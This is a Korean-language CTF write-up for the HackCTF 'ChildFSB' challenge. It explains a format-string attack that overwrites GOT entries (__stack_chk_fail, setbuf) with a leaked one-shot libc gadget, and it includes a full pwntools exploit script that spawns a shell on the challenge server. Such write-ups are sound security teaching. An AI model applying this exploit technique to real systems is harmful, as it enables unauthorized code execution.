[HackCTF] ChildFSB (600p) 풀이
Wargame/HackCTF

[HackCTF] ChildFSB (600p) 풀이

 

풀이

Thanks to tmxk4221


main

babyfsb와는 달리 read에서 0x19 크기만 입력을 받는다.

 

Init

setvbuf, setbuf로 세팅한다.


childfsb의 exploit은 3단계로 나눌 수 있다.

 

stage #1

__stack_chk_fail@got 값을 main+33 값으로 덮는다.

왜 main+33 값인지는 stage #3에 나온다.

그리고 스택에 남아있는 __libc_start_main+240 값을 leak 한다.

이제 stack smashing을 일으켜, main+33으로 돌아간다.

 

stage #2

leak을 성공했다면 oneshot_gadget을 구한다.

babyfsb와 마찬가지로 oneshot_first, oneshot_mid, oneshot_last로 offset을 나눠준다.

 

stage #3

이제 특정 값을 oneshot_gadget으로 overwrite 해서 쉘을 따야한다.

여기서 무슨 값을 써야할지 막막했는데, tmxk4221님 블로그를 참고해 setbuf에 oneshot_gadget을 덮었다.

그러기 위해서는 setbuf를 실행해서는 안 된다. 그 이유 때문에 puts의 인자를 세팅하는 main+33으로 돌아가는 것이다.

이 아이디어가 단순하면서도 굉장히 인상 깊었다.

 

babyfsb에서는 0x40으로 넉넉하게 값을 입력 받지만, 이번 문제에서는 0x19만큼만 입력받기 때문에 payload를 나눠서 보내줘야 한다. 여기서 두가지 실수를 저질러 굉장히 삽질을 많이했다.

먼저, babyfsb와는 달리 페이로드를 나눠서 보내기 때문에 앞에 보낸 만큼의 size를 뺄 필요가 없었다. 계속 페이로드가 안 먹어서 스택 값을 확인해봤는데.. oneshot들의 값을 빼고 있었다 ㅠ-ㅠ... 

 

다른 하나는, stack offset을 잘못 계산하여 8번째에 계속 집어넣고 있었다.. 스택에 상황은 다음과 같이 변한다.

페이로드를 넣을 때마다 offset이 하나씩 밀린다.

마지막으로는 setbuf address로 돌아가서 setbuf를 실행해주면 쉘이 따진다.

많은 깨달음을 얻은 문제였다.


from pwn import *

context.log_level = 'debug'

#p = process('./childfsb')
p = remote('ctf.j0n9hyun.xyz', 3037)
e = ELF('./childfsb')
libc = ELF('./libc.so.6')

stack = 0x601020
first = 0
mid = 0
#stage 1, __stack_chk_fail overwrite
payload = '%1920c%8$hn%11$p' + p64(stack) + 'A'
p.sendafter('hello\n', payload)

p.recv(0x780)
leak = int(p.recv(14), 16) - libc.symbols['__libc_start_main'] - 240
oneshot = leak + 0x45216
log.info(hex(leak))

#stage 2, oneshot gadget calculate
oneshot_first = (oneshot >> 32) & 0xffff
oneshot_mid = (oneshot >> 16) & 0xffff
oneshot_last = oneshot & 0xffff

log.info(hex(oneshot_first))
log.info(hex(oneshot_mid))
log.info(hex(oneshot_last))

#stage 3, repeat oneshot to setbuf
payload = '%' + str(oneshot_last) + 'c%9$hn' 
payload += 'A'*(16 - len(payload))
payload += p64(e.got['setbuf'])
payload += 'A'
p.sendafter('hello\n', payload)

sleep(0.5)
payload = '%' + str(oneshot_mid) + 'c%10$hn'
payload += 'A'*(16 - len(payload))
payload += p64(e.got['setbuf']+2)
payload += 'A'
p.sendafter('hello\n', payload)

payload = '%' + str(oneshot_first) + 'c%11$hn'
payload += 'A'*(16 - len(payload))
payload += p64(e.got['setbuf']+4)
payload += 'A'
p.sendafter('hello\n', payload)

payload = '%' + '1879' + 'c%12$hn'
payload += 'A'*(16 - len(payload))
payload += p64(e.got['__stack_chk_fail'])
payload += 'A'
p.sendafter('hello\n', payload)

p.interactive()

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] AdultFSB 풀이 (700p)  (0) 2021.01.21
[HackCTF] Unexploitable_4 (600p) 알아간 내용  (0) 2021.01.20
[HackCTF] 훈폰정음 풀이 (700p)  (2) 2021.01.13
[HackCTF] ChildHeap 풀이 (500p)  (0) 2021.01.12
[HackCTF] ROP 풀이 (300p)  (0) 2020.12.29